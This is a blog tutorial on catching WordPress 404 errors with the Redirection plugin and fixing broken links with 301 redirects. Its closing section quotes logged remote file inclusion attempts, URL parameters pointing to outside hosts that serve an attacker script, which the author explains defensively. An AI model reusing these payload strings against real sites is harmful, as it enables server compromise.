(Reading time: 6 – 10 minutes)

When someone comes to your website, and asks for a webpage that doesn’t exist, the webserver serves up a 404 ERROR PAGE NOT FOUND. Webpages get “lost” for various reasons, some of which you, the WordPress operator, have no control over:

1. You may have deleted a page that is still a popular search result.
2. You may have changed the page’s permalink without redirecting.
3. Someone may have made a typo in the link. Could have been you, could have been someone else. If it’s a link in a popular webpage, you’re going to get a lot of 404 errors.
4. You may be the subject of systematic hacking attacks.

You have several ways to attack 404 issues:

1. Create a webpage dedicated to handling 404 errors, inform the server to deliver this page with the 404 error. All WordPress administrators should read what the WordPress Codex for Creating 404 Pages.
2. Smarter bears use the “Smart 404″ plugin, which customizes the 404 page to deliver links to pages returned from using the WordPress search function with the incoming URL. Smart 404 might be a good topic for a future article, or a newsletter. Subscribe to RSS and the newsletter and you won’t miss it.
3. Add a 301 redirection for the bad link, pointing it to a good link. Redirection handling 404 errors is the topic of this post, and we’ll use the Urban Giraffe Redirection plugin. If you haven’t installed, now is a good time. I’ll wait.

Once you have the Redirection plugin installed, read the instructions on the plugin home page. Then read and understand all 12 pages of comments and every thread on the discussion… then you will know far more about handling bad webpages than 99% of WordPress operators.

But that’s a lot of work.

If you’re in a hurry (who isn’t?), here’s a few tips on getting started really fast. Once you’re underway, and a have days or weeks of 404 log entries, THEN go back and read the plugin homepage and comments very carefully.

Systematically eliminate 404 errors

The key to handling 404 errors is learning what they mean, then get rid of them. Here’s my system, which will work for you as well:

1. Pick one error
2. Figure out what it is (wrong URL, hacking attempt, etc.)
3. Fix it if necessary
4. Search for that error and delete the rest of the errors just like it
5. Move to the next error

Let’s find an error. Click on “Tools >> Redirection” to get to the redirection page, then Modules from the navigation links across the top of the Redirection page:

That was easy. Looks below like a bad link to the Favicon article is floating around the web somewhere. I vaguely recall changing the permalink… without adding a redirection…

…brief digression here. Take the time to do this stuff right the first time. It’s not that hard. Once the search engines grab your content and index it, these completely preventable error are going to plague you for months or years.

Ok, continuing… top of the log shows a favicon post:

favicon article has a bad permalink floating around the web somewhere.

Click on the bad link, it will come up as a 404 page. Leave this page handy, we’ll use it to check the new 301 redirection. Next, find the correct URL. I usually have to run a search to find it. Leave this open in a window as well. Now navigate to the Redirects link on the administration page:

Adding 301 redirection for bad favicon link

Click “Add Redirection.”

Now go back to the 404 page served on the bad link. Refresh the page. If the redirection works, you should get the correct page. If it doesn’t work, check all your links carefully, there’s a typo or something equally trivial floating around.

That’s all there is too it.

Tips for creating redirections

Trailing slashes: you MUST get the trailing slashes right. I recently lost many click throughs because I added a trailing slash to a redirection: “/wordpress101/” is not the same as “/wordpress101.” That trailing slash matters. It 404′ed them all. I found it within 2 hours of posting, but a lot of damage was already done. I would have saved myself some grief had I tested the link before publishing.

If you have a really bad permalink on a blog post, consider changing tightening up the permalink and add a redirection from the old to the new. Then watch your 404 log and your 301 redirection log very carefully to make sure everything is working correctly.

Featured posts can be redirected using very short slugs. Add the slug to the 301 log, give it a target, test it, then watch your 301 and 404 logs to make sure it’s working.

Put your 404 log into your RSS feed. It’s easy. See the screenshot below of the Redirection admin page. Click the [Modules] link (green box) to get to display the WordPress, Apache and 404 Error modules. Right click and copy link for the [RSS] link; paste that link into your RSS reader. I use Google Reader, works great.

Redirection has powerful HTTP 404 Error monitoring

404 Fear and Loathing

Examining your 404 log can be a terrifying. Adding 301 links as discussed above isn’t too difficult, and is easy to understand. Attacks by malicious hackers is a whole ‘nother story. Here’s a few of the odd things you may find in your 404 log after a week or two:

1. /extending-wordpress//includes/header.php?c_temp_path=http://www.leeminhothailand.com/board/admin.txt????

   What the hell is that?

   I poked around a bit, and it turns out that Lee Min Ho is a popular Korean heartthrob. The “leeminhothailand” resolves to a Lee Ho Min Thailand Fan Club home page, and the “admin.txt????” resolves to a hack: “arage was here” where Mr Arage extracts the host details (e.g., uname) for the web page. Presumably, since this was logged in my 404 log, his attack wasn’t successfully launched from Website In A Weekend. You may or may not wish to extend a birthday greeting to Mr Lee.

2. Here’s another one: ​/head.php?adresa=http:​/​/www.stmaryofthecataract.com​/images​/save.jpg?

   Our hacker here attempted to pass the url to the WordPress head.php file for further processing. head.php wasn’t interested, and declined with a 404 error.

   Somebody’s been a busy bee, check out this Google search on the St. Mary’s of the Cataract URL. Nasty.

3. Requests for the files owssvr.dll and cltreq.asp aren’t attacks to compromise security, these are used by IE to see if there is a web discussion forum that is compatible with IE. If you are being served by an Apache server, these files won’t exist. This is not a problem.
4. Requests ending in a ?filename.php probably indicate an exploit, likely long since closed for current versions of WordPress. See issue 5427 and changeset 11596 for more information.

Your best bet for heading off hackers is to keep your WordPress installation reasonably up to date, and implement common security precautions such as deleting the “admin” user. Anyone really determined to hack your site will be hard to stop… fortunately, most hackers don’t want to damage your site, they simply want to use it without anyone fnding out. Take precautions, but don’t worry too much.